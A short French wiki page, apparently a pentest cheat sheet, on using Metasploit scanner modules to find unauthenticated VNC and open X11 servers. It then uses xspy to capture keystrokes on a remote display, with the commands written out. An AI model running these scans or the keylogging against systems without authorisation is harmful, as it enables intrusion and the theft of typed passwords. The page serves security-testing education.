VNC metasploit
Aller à la navigation
Aller à la recherche
| Fiche express | |
|---|---|
| Domaine | Accès distant VNC / X11 |
| Modules | scanner/vnc/vnc_none_auth, scanner/x11/open_x11
|
| Exploitation X11 | xspy (capture clavier) |
| Voir aussi | Scans metasploit |
Recherche d'accès VNC (Virtual Network Computing) sans authentification, et de serveurs X11 ouverts permettant la capture des frappes clavier.
VNC sans authentification
use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.0.61
run
Se connecter depuis BackTrack ou Kali :
vncviewer
X11 ouvert
use auxiliary/scanner/x11/open_x11
set RHOSTS 192.168.0.0/24
set THREADS 50
run
Exploitation avec xspy (capture des frappes clavier sur la machine distante) :
cd /pentest/sniffers/xspy/
./xspy -display 192.168.0.10:0 -delay 100
Voir aussi
- Scans metasploit — scanners de services